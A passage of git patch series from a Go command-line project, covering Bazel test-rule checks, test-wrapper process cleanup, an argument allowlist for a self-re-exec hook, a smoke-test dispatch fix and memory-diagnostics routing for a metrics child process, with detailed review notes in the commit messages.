= append(errs, errors.New(where+" (dolt-server) lacks rule env "+env)) + } + } + if strings.Contains(rule, `"no-remote-exec"`) { + errs = append(errs, errors.New(where+" (dolt-server) is tagged no-remote-exec; the lane runs on remote workers")) + } + } + if found == 0 { + errs = append(errs, errors.New(pkg+"/BUILD.bazel has no dolt-server target for the dolt-server lane")) + } + return errs +} + +// A dolt-server rule is checked on its own: another target in the same file +// (the docker variant) carrying the env must not cover for it. +func TestCheckDoltServerRulesPerTarget(t *testing.T) { + const docker = `sh_test( + name = "uow_docker_test", + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["requires-docker", "no-remote-exec"], +) +` + good := `load("@rules_shell//shell:sh_test.bzl", "sh_test") + +` + docker + ` +# Tags: +# dolt-server: lane. +sh_test( + name = "uow_dolt_test", + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["dolt-server"], +) +` + if errs := checkDoltServerRules("p", good); len(errs) != 0 { + t.Errorf("good BUILD: %v", errs) + } + for name, bad := range map[string]string{ + "no require": strings.Replace(good, " \"BEADS_TEST_REQUIRE_DOLT_CONTAINER\": \"1\",\n },\n tags = [\"dolt-server\"]", " },\n tags = [\"dolt-server\"]", 1), + "container": strings.Replace(good, `"local"`, `"container"`, 1), + "no-remote-exec": strings.Replace(good, `tags = ["dolt-server"]`, `tags = ["dolt-server", "no-remote-exec"]`, 1), + "no target": docker, + "fix switch": strings.Replace(good, `"uow_dolt_test"`, `"fix_dolt_test"`, 1), + "protocol switch": strings.Replace(good, `"uow_dolt_test"`, `"protocol_dolt_test"`, 1), + } { + if bad == good { + t.Fatalf("%s: mutation did not apply", name) + } + if errs := checkDoltServerRules("p", bad); len(errs) == 0 { + t.Errorf("%s: accepted", name) } } } diff --git a/tools/bazel/test_env.sh b/tools/bazel/test_env.sh index 59a074362..00fa809f2 100755 --- a/tools/bazel/test_env.sh +++ b/tools/bazel/test_env.sh @@ -14,10 +14,44 @@ set -euo pipefail root="$(mktemp -d /tmp/bbt.XXXXXX)" +# Kill every process that still names this action's private root in its +# command line: a detached bd db-proxy-child (Setsid, its own process group) +# and the dolt sql-server it started carry $root in --root, --config or +# --logpath. When Bazel times a test out it signals the process group, which +# misses them, and a proxy that dies without an idle timeout leaves its server +# orphaned on a persistent remote worker. $root is a fresh mktemp path, so the +# match cannot reach an unrelated process; this wrapper's own command line +# never contains it, and pkill never matches itself. The '.' in bbt.XXXXXX is +# escaped because pkill -f takes an extended regex. Two passes: a proxy killed +# in the middle of the first may have forked a new server. Without pkill, fall +# back to scanning /proc; without either, skip. +# shellcheck disable=SC2317 # invoked from the EXIT trap +reap_root_processes() { + local uid pid cmd argv + uid="$(id -u 2>/dev/null)" || return 0 + if command -v pkill >/dev/null 2>&1; then + local pattern="${root//./\\.}/" + pkill -KILL -U "$uid" -f -- "$pattern" 2>/dev/null || true + pkill -KILL -U "$uid" -f -- "$pattern" 2>/dev/null || true + elif [[ -d /proc/self ]]; then + for _ in 1 2; do + for cmd in /proc/[0-9]*/cmdline; do + pid="${cmd#/proc/}" + pid="${pid%/cmdline}" + [[ "$pid" == "$$" || "$pid" == "$BASHPID" ]] && continue + argv="$(tr '\0' ' ' <"$cmd" 2>/dev/null)" || continue + if [[ "$argv" == *"$root/"* ]]; then + kill -KILL "$pid" 2>/dev/null || true + fi + done + done + fi + return 0 +} # Cleanup must never change the test's exit status: a child the test left # running (a detached bd or a Dolt server shutting down) can still be writing # when rm runs, and Bazel only reaps it after this wrapper exits. -trap 'chmod -R u+w "$root" 2>/dev/null || true; rm -rf "$root" 2>/dev/null || true' EXIT +trap 'reap_root_processes 2>/dev/null || true; chmod -R u+w "$root" 2>/dev/null || true; rm -rf "$root" 2>/dev/null || true' EXIT mkdir -p "$root/home" "$root/xdg-config" "$root/dolt-root" "$root/tmp" : >"$root/gitconfig" From c5b3469ee7c3ef0a5038c8a8ea665071fa57d8a5 Mon Sep 17 00:00:00 2001 From: Kenton Smeltzer Date: Mon, 28 Sep 2026 11:23:39 -0400 Subject: [PATCH 177/624] fix(hooks): allowlist prime args and exec os.Executable() in runBdPrime (#6414) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(hooks): allowlist prime args and exec os.Executable() in runBdPrime The agent lifecycle hooks re-execute the bd binary to run `bd prime` without re-entrant store initialization. runBdPrime built that exec from os.Args[0] plus a variadic argument list, which static analysis flags as a command taint surface: nothing structurally prevents a future caller from passing arbitrary strings into the subprocess. Harden the seam explicitly: - validatePrimeArgs refuses anything outside the closed set of hook flags (only --memories-only is ever passed today) before the subprocess is built, so a caller can never steer the re-exec. - resolve the executable with os.Executable() instead of os.Args[0], so the target binary comes from the kernel's view of this process rather than from argv. No behavior change for the two real callers (codex-hook, cursor-hook), which pass only the allowlisted flag or nothing. Addresses the Snyk Code static-analysis finding on cmd/bd/agent_hook.go line 26 as hardening. * test(hooks): stub the re-exec seam and name the rejected argument Review follow-up to 3435a5755 (round 1, non-blocking). Two test robustness fixes: - primeExecutable becomes an injectable seam (var primeExecutable = os.Executable). The reject test now overrides it and asserts the resolver never runs for rejected args, so a future reorder that drops validatePrimeArgs fails the test instead of live-exec'ing the test binary into a self-exec chain. No test path can reach exec.CommandContext anymore, and the resolver error path gains coverage of its own. - The rejection tests assert the offender ("--config") rather than the generic substring, so loosening the allowlist for one flag can no longer mask another. Also refreshes the PR-facing wording: os.Executable() is a small, deliberate behavior delta over os.Args[0] (running binary instead of per-call PATH lookup), noted in the PR description. * docs(hooks): keep the nosec invariant text true through the seam Review round 2, nit 5: the #nosec comment still named os.Executable directly, but the value now arrives one hop indirect through primeExecutable. Reword the invariant ("exe comes from primeExecutable, which is os.Executable in production") so the annotation stays accurate. Comment-only. * review: pin the prime re-exec target and harden its resolver Maintainer review fixes for iteration 1 (adopt-pr #6414). major (Test Evidence Quality): no test reached the exec construction, so the change's central claim -- that the *resolved* executable is the exec target -- was unpinned; a mutant that kept the primeExecutable() call and exec'd os.Args[0] passed all four new tests. Split the construction out of the I/O as primeCommand(ctx, args...) (*exec.Cmd, error) and assert cmd.Path and the full cmd.Args against a stubbed resolver. The sentinel contains a path separator on purpose: exec.Command only skips LookPath for names that do, so a bare name would leave cmd.Path host-PATH-dependent. Verified by mutation -- reverting the exec target to os.Args[0] reds only the new pin and leaves the original four green. minor (Architectural Consistency): primeExecutable took one of the three hardening steps doctor/fix's getBdBinary pairs. Give the production resolver that precedent's shape -- EvalSymlinks (tolerating failure), a *.test / .test. base-name refusal so an unstubbed test call fails loudly instead of fork-bombing, and a validated PATH fallback -- and pin the refusal the way doctor/fix's own suites pin ErrTestBinary. The residual resolution trade-off, which the PATH fallback does not cover, is now stated at the declaration instead of left implicit. nit (Contract & Interface Fidelity): the #nosec named G702, which is not the subprocess rule. Name G204 and say plainly that .golangci.yml excludes it repo-wide, so no reader mistakes the annotation for what keeps lint green. Iteration 2 -- prose only, no behaviour change: minor (Debuggability & Operability): the trade-off paragraph added above documented a mechanism that does not exist. It said os.Executable "pins /proc/self/exe", so a bd replaced in place by an ordinary `go install ./cmd/bd` resolves to a "(deleted)" path the PATH fallback does not cover, and credited inode pinning for PATH-independence. On Linux os.Executable ends TrimSuffix(path, " (deleted)") (os/executable_procfs.go), so no "(deleted)" path ever reaches the resolver. Measured both cases with a live probe against a running binary: replaced in place, EvalSymlinks SUCCEEDS and the re-exec runs the replacement, so the documented breakage does not occur; deleted without being replaced, EvalSymlinks fails, the tolerated-failure branch keeps the stale path, and the fallback correctly never runs because os.Executable returned no error. Re-scope the paragraph to that second case, which is the real residual gap, and credit PATH-independence to the path containing a separator -- exec.Command calls LookPath only when filepath.Base(name) == name. nit (Test Evidence Quality) declined, recorded so it is not re-litigated: deleting the EvalSymlinks block leaves the prime selector green, so that arm is unpinned while the other two red exactly one test each. Pinning it needs a second production seam var for os.Executable -- the resolver reads the real one, and under `go test` the .test refusal fires before the EvalSymlinks result is observable -- which is more machinery than a best-effort step whose failure is tolerated by design warrants. getBdBinary has the identical gap, so this is an unclosed class rather than a regression from this change. * ci(bazel): make the prime re-exec hardening green on the Bazel lane This PR was opened against a base that had no Bazel lane. The lane landed in the base advance since (`.github/workflows/bazel.yml`, generated BUILD files, and #6871's test-binary work), and it reds this PR in two independent ways. Both are fixed here; neither is reachable from the PR's original base. 1. `cmd/bd/BUILD.bazel` did not exist at the old base, so gazelle never saw the new `cmd/bd/agent_hook_test.go` and it is absent from `go_test(bd_test)` srcs. `make bazel-sync` adds exactly the one line committed here, which is what bazel.yml's "BUILD files in sync" step checks with `git status`. Of the 24 `cmd/bd/*_test.go` files absent from that list, the other 23 are excluded by a `//go:build` tag; `agent_hook_test.go` is the only untagged one, and a whole-tree gazelle run produces no other drift. 2. With the test file declared, `TestResolvePrimeExecutableRefusesTestBinary` then fails under Bazel: rules_go links the binary as `bd_test`, so the `.test` name checks never fire and `resolvePrimeExecutable` hands back the test binary instead of refusing it. This is not just a test artifact — it is the fork-bomb the refusal exists to prevent, live on the new lane. `getBdBinary` (cmd/bd/doctor/fix/common.go), the precedent this resolver deliberately restates, hit the same problem and #6871 (`ae1a493e0`) fixed it by short-circuiting on `testing.Testing()` before the name checks. This restates that answer, so the resolver stays arm-for-arm faithful to the precedent it mirrors; the name checks are kept for `go test -c` binaries run outside the harness, exactly as upstream keeps them. Verified: `make bazel-sync` clean; `bazel test //cmd/bd:bd_test` (PR selector) 7/7 PASS where it was 1 FAIL before; `go test ./cmd/bd/` selector 17/17 PASS; gofmt, `go build ./cmd/...`, `go vet ./cmd/bd/`, and a CGO_ENABLED=0 GOOS=windows vet all clean. --------- Co-authored-by: Julian Knutsen Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 1 + cmd/bd/agent_hook.go | 108 +++++++++++++++++++++++++++++-- cmd/bd/agent_hook_test.go | 131 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 235 insertions(+), 5 deletions(-) create mode 100644 cmd/bd/agent_hook_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 779633994..c920700ef 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -488,6 +488,7 @@ go_test( "aaa_stdio_baseline_test.go", "actor_test.go", "ado_test.go", + "agent_hook_test.go", "assign_fence_embedded_test.go", "assign_fence_proxied_test.go", "auto_import_upgrade_test.go", diff --git a/cmd/bd/agent_hook.go b/cmd/bd/agent_hook.go index 9cb3a0cb6..f37684e9c 100644 --- a/cmd/bd/agent_hook.go +++ b/cmd/bd/agent_hook.go @@ -4,11 +4,13 @@ import ( "context" "crypto/sha256" "encoding/hex" + "errors" "fmt" "os" "os/exec" "path/filepath" "strings" + "testing" ) // Shared helpers for the agent lifecycle hook commands (codex-hook, cursor-hook). @@ -16,17 +18,113 @@ import ( // the prime-runner and one-shot refresh-marker mechanics are identical and live // here to avoid divergence. +// allowedPrimeArgs is the closed set of flags the agent hooks may pass to the +// re-executed bd binary. The hooks only ever run the fixed `bd prime` +// invocation (optionally --memories-only); anything else is a programming +// error and is refused before the subprocess is built. +var allowedPrimeArgs = map[string]bool{"--memories-only": true} + +// errPrimeTestBinary is returned by resolvePrimeExecutable when the running +// binary is a test binary. Mirrors doctor/fix's ErrTestBinary: re-execing a +// test binary with `prime` fork-bombs the suite. +var errPrimeTestBinary = errors.New("running as test binary - cannot re-exec bd") + +// primeExecutable resolves the re-exec target for runBdPrime. A var so tests +// can stub resolution and prove no subprocess is ever built from unexpected +// input. +var primeExecutable = resolvePrimeExecutable + +// resolvePrimeExecutable is the production re-exec resolver. It restates +// getBdBinary (cmd/bd/doctor/fix/common.go), the repo's existing answer to "bd +// re-invokes bd": prefer the running binary, resolve symlinks so every re-exec +// site agrees on one path, refuse a test binary so an unstubbed test call +// fails loudly instead of fork-bombing, and fall back to a validated PATH +// lookup when the running binary cannot be resolved. getBdBinary is +// package-private to doctor/fix, so this restates the precedent rather than +// reusing it. +// +// One trade-off is kept deliberately, and it is narrower than it looks. Linux +// reports an unlinked image with a " (deleted)" suffix, but os.Executable +// strips that suffix (os/executable_procfs.go), so no "(deleted)" path ever +// reaches this resolver: a bd replaced in place mid-session (an ordinary +// `go install ./cmd/bd`) still resolves to its own path, EvalSymlinks succeeds +// against the new file, and the re-exec runs the replacement. The residual gap +// is a bd deleted without being replaced: EvalSymlinks fails, that failure is +// tolerated so the stale path is kept, and the PATH fallback is correctly not +// taken because os.Executable itself returned no error. Accepted: the target is +// PATH-independent because it contains a path separator (exec.Command calls +// LookPath only when filepath.Base(name) == name), and both hook handlers treat +// a prime failure as non-fatal, so the effect is a session primed without +// context. +func resolvePrimeExecutable() (string, error) { + exe, err := os.Executable() + if err == nil { + if resolved, linkErr := filepath.EvalSymlinks(exe); linkErr == nil { + exe = resolved + } + // testing.Testing() is the authoritative signal and must come first: + // rules_go links test binaries as _test (cmd/bd's is bd_test), + // which no ".test" name check can see, so under the Bazel lane the + // name checks alone would let an unstubbed call re-exec the test + // binary. The name checks remain for binaries built with `go test -c` + // and run outside the harness. Mirrors doctor/fix's isTestBinary. + base := filepath.Base(exe) + if testing.Testing() || strings.HasSuffix(base, ".test") || strings.Contains(base, ".test.") { + return "", errPrimeTestBinary + } + return exe, nil + } + + bdPath, lookErr := exec.LookPath("bd") + if lookErr != nil { + return "", fmt.Errorf("bd binary not found in PATH: %w", lookErr) + } + return bdPath, nil +} + +// validatePrimeArgs rejects any argument outside allowedPrimeArgs so the +// re-exec below can never be steered by caller-supplied strings. +func validatePrimeArgs(args []string) error { + for _, arg := range args { + if !allowedPrimeArgs[arg] { + return fmt.Errorf("bd prime: unsupported hook argument %q", arg) + } + } + return nil +} + +// primeCommand validates args, resolves the re-exec target, and builds the +// `bd prime [args...]` command without running it. Split out from runBdPrime +// so a test can assert the exec target and argv — the thing this seam exists +// to guarantee — without launching a subprocess. +func primeCommand(ctx context.Context, args ...string) (*exec.Cmd, error) { + if err := validatePrimeArgs(args); err != nil { + return nil, err + } + exe, err := primeExecutable() + if err != nil { + return nil, fmt.Errorf("bd prime: resolve executable: %w", err) + } + cmdArgs := append([]string{"prime"}, args...) + // #nosec G204 - exe comes from primeExecutable (resolvePrimeExecutable in + // production: this bd binary re-invoking itself); cmdArgs is the fixed + // "prime" subcommand plus allowlisted internal flags, never + // attacker-controlled input. Documentation only: .golangci.yml excludes + // G204 repo-wide, so this annotation is not what keeps lint green. + return exec.CommandContext(ctx, exe, cmdArgs...), nil +} + // runBdPrime shells out to `bd prime [args...]` and returns its combined output. // The hooks exec a subprocess (rather than calling prime in process) to avoid // re-entrant store initialization. func runBdPrime(ctx context.Context, args ...string) (string, error) { - cmdArgs := append([]string{"prime"}, args...) - // #nosec G702 - os.Args[0] is this bd binary re-invoking itself; cmdArgs is the - // fixed "prime" subcommand plus internal flags, never attacker-controlled input. - cmd := exec.CommandContext(ctx, os.Args[0], cmdArgs...) + cmd, err := primeCommand(ctx, args...) + if err != nil { + return "", err + } out, err := cmd.CombinedOutput() if err != nil { - return "", fmt.Errorf("bd %s: %w: %s", strings.Join(cmdArgs, " "), err, strings.TrimSpace(string(out))) + return "", fmt.Errorf("bd %s: %w: %s", strings.Join(cmd.Args[1:], " "), err, strings.TrimSpace(string(out))) } return string(out), nil } diff --git a/cmd/bd/agent_hook_test.go b/cmd/bd/agent_hook_test.go new file mode 100644 index 000000000..3c1d361a1 --- /dev/null +++ b/cmd/bd/agent_hook_test.go @@ -0,0 +1,131 @@ +package main + +import ( + "context" + "errors" + "slices" + "strings" + "testing" +) + +func TestValidatePrimeArgsAcceptsHookFlags(t *testing.T) { + if err := validatePrimeArgs(nil); err != nil { + t.Fatalf("no args should be allowed, got %v", err) + } + if err := validatePrimeArgs([]string{"--memories-only"}); err != nil { + t.Fatalf("--memories-only should be allowed, got %v", err) + } +} + +func TestValidatePrimeArgsRejectsUnknownFlag(t *testing.T) { + err := validatePrimeArgs([]string{"--config"}) + if err == nil { + t.Fatal("expected unknown flag to be rejected") + } + if !strings.Contains(err.Error(), `"--config"`) { + t.Fatalf("rejection should name the offending argument, got: %v", err) + } +} + +// runBdPrime must refuse non-allowlisted arguments before it resolves the +// executable or builds a subprocess. The resolver is stubbed so the test also +// proves validation runs first — if a future change drops or reorders the +// validatePrimeArgs call, the resolver (and with it the subprocess) would be +// reached and this test fails instead of live-exec'ing anything. +func TestRunBdPrimeRejectsUnknownArgsBeforeExec(t *testing.T) { + called := false + orig := primeExecutable + primeExecutable = func() (string, error) { + called = true + return "", errors.New("resolver must not run for rejected args") + } + t.Cleanup(func() { primeExecutable = orig }) + + _, err := runBdPrime(context.Background(), "--config") + if err == nil { + t.Fatal("expected runBdPrime to reject unknown args") + } + if !strings.Contains(err.Error(), `"--config"`) { + t.Fatalf("rejection should name the offending argument, got: %v", err) + } + if called { + t.Fatal("executable resolver ran before argument validation") + } +} + +// With allowlisted args, a resolver failure surfaces as the wrapped +// resolve-executable error and no subprocess is built. +func TestRunBdPrimeExecutableResolutionError(t *testing.T) { + orig := primeExecutable + primeExecutable = func() (string, error) { + return "", errors.New("no executable") + } + t.Cleanup(func() { primeExecutable = orig }) + + _, err := runBdPrime(context.Background()) + if err == nil || !strings.Contains(err.Error(), "resolve executable") { + t.Fatalf("want resolve-executable error, got: %v", err) + } +} + +// The point of the seam: the command must be built from the *resolved* +// executable, not from os.Args[0]. primeCommand builds without running, so +// this asserts the exec target and the full argv directly. The sentinel +// deliberately contains a path separator — exec.Command only skips LookPath +// for names that do, so a bare name would leave cmd.Path host-PATH-dependent +// and set cmd.Err, making the assertion vacuous. +func TestPrimeCommandUsesResolvedExecutable(t *testing.T) { + const sentinel = "/tmp/beads-prime-sentinel-bd" + + orig := primeExecutable + primeExecutable = func() (string, error) { return sentinel, nil } + t.Cleanup(func() { primeExecutable = orig }) + + cmd, err := primeCommand(context.Background(), "--memories-only") + if err != nil { + t.Fatalf("primeCommand with allowlisted args: %v", err) + } + if cmd.Err != nil { + t.Fatalf("separator-containing sentinel should build cleanly, got cmd.Err=%v", cmd.Err) + } + if cmd.Path != sentinel { + t.Fatalf("exec target should be the resolved executable %q, got %q", sentinel, cmd.Path) + } + want := []string{sentinel, "prime", "--memories-only"} + if !slices.Equal(cmd.Args, want) { + t.Fatalf("argv should be %q, got %q", want, cmd.Args) + } +} + +// primeCommand refuses non-allowlisted args before resolving, and returns no +// command to run. +func TestPrimeCommandRejectsUnknownArgs(t *testing.T) { + orig := primeExecutable + primeExecutable = func() (string, error) { + return "", errors.New("resolver must not run for rejected args") + } + t.Cleanup(func() { primeExecutable = orig }) + + cmd, err := primeCommand(context.Background(), "--config") + if err == nil { + t.Fatal("expected primeCommand to reject unknown args") + } + if cmd != nil { + t.Fatalf("rejected args must not yield a command, got %v", cmd.Args) + } +} + +// The production resolver refuses a test binary rather than handing back a +// path whose re-exec would fork-bomb the suite — the guard doctor/fix's +// getBdBinary pairs with os.Executable. Under `go test` the running binary is +// the package test binary, so this exercises the refusal directly, the same +// way cmd/bd/doctor/fix's own suites assert ErrTestBinary. +func TestResolvePrimeExecutableRefusesTestBinary(t *testing.T) { + path, err := resolvePrimeExecutable() + if !errors.Is(err, errPrimeTestBinary) { + t.Fatalf("want errPrimeTestBinary under go test, got path=%q err=%v", path, err) + } + if path != "" { + t.Fatalf("refusal must not return a path, got %q", path) + } +} From 90f8e42f15791503e450e662f5beff21a7666b78 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Mon, 28 Sep 2026 09:25:22 -0600 Subject: [PATCH 178/624] fix(smoke): clear the version list before child dispatch (#6398) * fix(smoke): clear multi-version dispatch state in child runs (saa-cgh.108) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(smoke): copy the shared candidate helper when present (saa-cgh.108) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(smoke): observe child arguments after Bash startup (saa-cgh.108) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(smoke): retain child output in dispatch failures (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell --- scripts/upgrade-smoke-test.sh | 2 +- scripts/upgrade_smoke_loop_test.go | 111 +++++++++++++++++++++++++++++ 2 files changed, 112 insertions(+), 1 deletion(-) create mode 100644 scripts/upgrade_smoke_loop_test.go diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index 46f249c8b..d5d426b4f 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -50,7 +50,7 @@ if [ -n "${SMOKE_VERSIONS:-}" ]; then # Run ourselves once per version, collecting exit codes OVERALL_FAIL=0 for _ver in $SMOKE_VERSIONS; do - if ! CANDIDATE_BIN="${CANDIDATE_BIN:-}" "$0" "$_ver"; then + if ! SMOKE_VERSIONS= CANDIDATE_BIN="${CANDIDATE_BIN:-}" "$0" "$_ver"; then OVERALL_FAIL=1 fi done diff --git a/scripts/upgrade_smoke_loop_test.go b/scripts/upgrade_smoke_loop_test.go new file mode 100644 index 000000000..39ce07ab4 --- /dev/null +++ b/scripts/upgrade_smoke_loop_test.go @@ -0,0 +1,111 @@ +package scripts_test + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +func TestUpgradeSmokeMultiVersionDispatch(t *testing.T) { + bash, err := exec.LookPath("bash") + if err != nil { + t.Fatal(err) + } + for _, tc := range []struct { + name, candidate, failVersion string + wantExit int + }{ + {"prebuilt", "candidate with spaces/bd", "", 0}, + {"automatic", "", "", 0}, + {"continues after failure", "candidate with spaces/bd", "v0.61.0", 1}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + const scriptPath = "scripts/upgrade-smoke-test.sh" + const candidateHelper = "scripts/lib/smoke-candidate.sh" + script, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), scriptPath)) + if err != nil { + t.Fatal(err) + } + shebang, body, ok := strings.Cut(string(script), "\n") + if !ok || !strings.HasPrefix(shebang, "#!") { + t.Fatal("upgrade smoke entrypoint must start with a shebang") + } + // Observe the child's script body, where Bash 3.2 has assigned positional arguments. + // The actual dispatch body below this insertion stays byte-for-byte unchanged. + const observer = `if [ -z "${BEADS_LOOP_ROOT:-}" ]; then + export BEADS_LOOP_ROOT=1 +else + if [ -z "${1:-}" ]; then + printf 'child version is empty (BASH_VERSION=%s)\n' "${BASH_VERSION:-unknown}" >&2 + exit 43 + fi + printf '%s\t%s\t%s\n' "$1" "${CANDIDATE_BIN:-}" "${SMOKE_VERSIONS:-}" >> calls + if [ -n "${SMOKE_VERSIONS:-}" ]; then + printf 'child inherited loop control (BASH_VERSION=%s)\n' "${BASH_VERSION:-unknown}" >&2 + exit 42 + fi + [ "$1" != "${BEADS_LOOP_FAIL:-}" ] || exit 19 + exit 0 +fi +` + script = []byte(shebang + "\n" + observer + body) + for _, path := range []string{scriptPath, ".buildflags", candidateHelper} { + data := script + mode := os.FileMode(0644) + if path == scriptPath { + mode = 0755 + } else { + data, err = os.ReadFile(filepath.Join(sourceRepoRoot(t), path)) + if err != nil { + // Standalone sources predate the helper; a composed reference requires it. + if path == candidateHelper && os.IsNotExist(err) && !strings.Contains(body, "smoke-candidate.sh") { + continue + } + t.Fatal(err) + } + } + destination := filepath.Join(dir, path) + if err := os.MkdirAll(filepath.Dir(destination), 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(destination, data, mode); err != nil { + t.Fatal(err) + } + } + path := os.Getenv("PATH") + if runtime.GOOS == "windows" { + path = "/usr/bin:/bin" + } + // Relative fixture paths use the same mount under both Bash invocations. + // HOME stays absent to stop a child missing the observer before smoke setup. + env := []string{"PATH=" + path, "LC_ALL=C", "LANG=C", "ENV=", "BASH_ENV=", + "BEADS_LOOP_FAIL=" + tc.failVersion, "CANDIDATE_BIN=" + tc.candidate, + "SMOKE_VERSIONS=v0.62.0 v0.61.0 v0.60.0"} + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, bash, "--noprofile", "--norc", "scripts/upgrade-smoke-test.sh") + cmd.Dir, cmd.Env = dir, env + out, err := cmd.CombinedOutput() + if ctx.Err() != nil || cmd.ProcessState == nil || cmd.ProcessState.ExitCode() != tc.wantExit { + t.Fatalf("dispatch exit = %v, want %d: %s", err, tc.wantExit, out) + } + got, err := os.ReadFile(filepath.Join(dir, "calls")) + if err != nil { + t.Fatalf("read child dispatch: %v; output: %s", err, out) + } + var want strings.Builder + for _, version := range []string{"v0.62.0", "v0.61.0", "v0.60.0"} { + want.WriteString(version + "\t" + tc.candidate + "\t\n") + } + if string(got) != want.String() { + t.Fatalf("child dispatch = %q, want %q; output: %s", got, want.String(), out) + } + }) + } +} From 147047e153bcd4dd9b43b63ac142212e1dcf3c4d Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Mon, 28 Sep 2026 08:52:47 -0700 Subject: [PATCH 179/624] fix(metrics): make BEADS_MEM_PROFILE/BEADS_MEM_STATS reach the send-metrics child (#6507) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Make BEADS_MEM_PROFILE / BEADS_MEM_STATS work for the send-metrics child (currently silently inert) (refs be-wwy2.2) * feat: green — Make BEADS_MEM_PROFILE / BEADS_MEM_STATS work for the send-metrics child (currently silently inert) (refs be-wwy2.2) * fix(metrics): keep the flusher child's mem diagnostics off the parent's path Maintainer review fixup for #6507 (adopt-pr review iteration 1). Change Impact / Blast Radius (major). flusherChildEnv hands the detached `bd send-metrics` child the parent's environment verbatim apart from the endpoint and the flusher marker, so BEADS_MEM_PROFILE / BEADS_MEM_STATS arrived holding the same absolute paths the parent had just resolved. The spawn runs on main()'s post-ExecuteC tail (ExecuteC -> CloseAndFlush -> MaybeSpawnFlusher), i.e. after PersistentPostRunE already wrote them, so before this commit the child's trivial profile silently replaced the profile of the command the user actually asked about -- no error, no size or format anomaly. Error exits were worse: CheckReadonly and the pre-run gates call CloseAndFlush while PersistentPostRunE never runs, leaving the child's file as the only one written. This was PR-introduced rather than base behavior: before the PR the child inherited the vars and ignored them. Fixed by memDiagnosticsDest(), which suffixes the resolved destination with ".send-metrics" when BD_IS_FLUSHER=1. flusherChildEnv sets that marker only on the spawned child, so a human running `bd send-metrics` directly still gets the plain path. The suffix is applied after the flag/env fallback so both knobs and both sources follow one rule. This is the synthesis's option (a); option (b) (scrubbing the mem vars in flusherChildEnv) was explicitly not taken, because it would reinstate exactly the inertness be-wwy2.2 removes. Contract & Interface Fidelity (minor). --mem-profile is registered on rootCmd.PersistentFlags(), so the hidden send-metrics command inherits it and prints it in --help, but the call site hardcoded "" -- the flag was parsed and then discarded, leaving the advertised half of the PR's own premise in the same "accepted but silently inert" state it exists to remove, one line below the fix. It now passes memProfilePath exactly as PersistentPostRunE does, and the false "there is no --mem-profile flag on this hidden command" claim is removed from both comments that carried it (send_metrics.go and writeMemDiagnostics's own doc comment). Tests: two new subtests, each mutation-proved to red on its own while the other six stay green. - "flusher child writes beside the parent's files instead of over them" seeds the parent's two files, runs the child with BD_IS_FLUSHER=1, and asserts the parent's bytes survive and the child's own diagnostics are still produced at the suffixed paths. Reverting memDiagnosticsDest to `return dest` reds it alone, with the parent's profile replaced by a real gzip stream -- the finding's exact damage. - "--mem-profile flag is honored, not just the env var" drives the flag with no BEADS_MEM_PROFILE set, so only the flag can produce the file. Restoring writeMemDiagnostics("") reds it alone. Validation: gofmt clean, `go build ./cmd/bd`, `go vet ./cmd/bd`, and `go test ./cmd/bd -run TestSendMetricsHonorsMemDiagnostics -count=1 -v` (7/7 subtests, 15.0s). Not taken, per the synthesis's explicit "do not block this PR": moving writeMemDiagnostics next to CloseAndFlush so error exits are covered, and warning to stderr when os.Create fails. Both are verbatim pre-existing carry-overs whose remedies change behavior for every bd subcommand rather than this one, so they stay follow-ups instead of riding a scoped fixup. Contributor commits are preserved. --mem-profile's help text is unchanged, so no CLI-docs regeneration is implied, and BEADS_MEM_* appears in no other Go file, test, or doc in the tree. Co-Authored-By: Claude Opus 5 * ci(bazel): add send_metrics_diagnostics_test.go to cmd/bd go_test srcs The adopted branch adds cmd/bd/send_metrics_diagnostics_test.go, but the go_test rule in cmd/bd/BUILD.bazel enumerates srcs explicitly, so Bazel never compiled or ran this PR's own test. The advisory Bazel lane caught it two ways on f4d6ad26a: tests go test runs that Bazel did not (1): cmd/bd TestSendMetricsHonorsMemDiagnostics EQUIVALENCE: FAIL (unexplained divergence; fix the BUILD tags/targets or add a justified allowlist entry) and `make bazel-sync-check` printed this exact one-line diff. That lane arrived in the 70-commit base advance this branch was refreshed onto (#6898, #6896), well after the contributor wrote the test, so the gap is an adoption artifact rather than a contributor miss. All 104 Bazel test targets passed -- the only defect was that our test was invisible. Generated with `bazel run //:gazelle` plus `tools/bazel/go_srcs.py`, not by hand; the result is byte-identical to the patch CI printed, blob 7796339..2ed253f. `bazel mod tidy` is a no-op here (no go.mod change). Validation on this commit: - python3 tools/bazel/go_srcs.py --check -> rc=0 - bazel query 'labels(srcs, //cmd/bd:bd_test)' -> now lists the file - bazel build //cmd/bd:bd_test -> rc=0, compiles and links - bazel test //cmd/bd:bd_test --test_filter=TestSendMetricsHonorsMemDiagnostics --test_arg=-test.v -> 1/1 target PASSED, and the shard log shows the parent plus all 7 subtests "=== RUN" / "--- PASS", i.e. the test Bazel previously never ran now actually executes. BUILD metadata only; no production or test code changes. --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude 